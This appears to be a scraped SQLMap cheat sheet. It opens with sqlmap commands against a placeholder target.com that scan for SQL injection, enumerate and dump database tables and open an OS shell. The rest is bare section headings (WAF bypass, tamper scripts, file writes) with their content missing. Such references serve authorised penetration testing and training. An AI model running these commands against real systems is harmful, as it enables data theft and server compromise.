SQLMap
Quick Reference
# Basic scan
sqlmap -u "http://target.com/page.php?id=1" --batch
# From Burp/ZAP request file
sqlmap -r request.txt --batch
# POST data
sqlmap -u "http://target.com/login" --data="user=admin&pass=test" --batch
# With cookies
sqlmap -u "http://target.com/page.php?id=1" --cookie="PHPSESSID=abc123"
# Enumerate databases
sqlmap -u "http://target.com/page.php?id=1" --dbs
# Enumerate tables
sqlmap -u "http://target.com/page.php?id=1" -D database_name --tables
# Dump table
sqlmap -u "http://target.com/page.php?id=1" -D database_name -T table_name --dump
# OS shell
sqlmap -u "http://target.com/page.php?id=1" --os-shellSupported DBMS
DBMS
DBMS
DBMS
DBMS
SQLi Types (--technique=BEUSTQ)
Char
Technique
Example Payload
Common Flags
Essential
Enumeration
Info Gathering
Tuning
OPSEC
Request Options
Cookies & Headers
HTTP Method
Mark Injection Point
From Burp Request File
Database Enumeration
Step-by-Step
Search for Data
Schema
File Operations
Read Files
Write Files
OS Command Execution
Interactive Shell
SQL Shell
WAF Bypass
Anti-CSRF Token
Randomize Parameter
Calculated Parameter (e.g., hash)
Tamper Scripts
Common Tamper Scripts
Script
Description
Other Bypass Options
Troubleshooting
Parse Errors
Save Traffic
Verbose Output
Through Proxy
Specify Prefix/Suffix
Level & Risk Settings
Level
Tests
Risk
Tests
SQLMap Over WebSockets
Flask Proxy Script
Setup & Run
Common WebSocket Payload Formats
Useful One-Liners
Output Files
Session Management
Last updated